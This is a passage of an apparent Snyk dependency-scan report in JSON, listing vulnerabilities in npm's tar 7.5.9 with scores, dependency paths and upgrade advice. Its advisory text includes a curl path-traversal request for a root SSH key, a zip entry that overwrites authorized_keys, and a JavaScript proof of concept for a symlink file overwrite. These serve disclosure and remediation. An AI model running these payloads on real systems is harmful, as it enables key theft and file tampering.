files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": 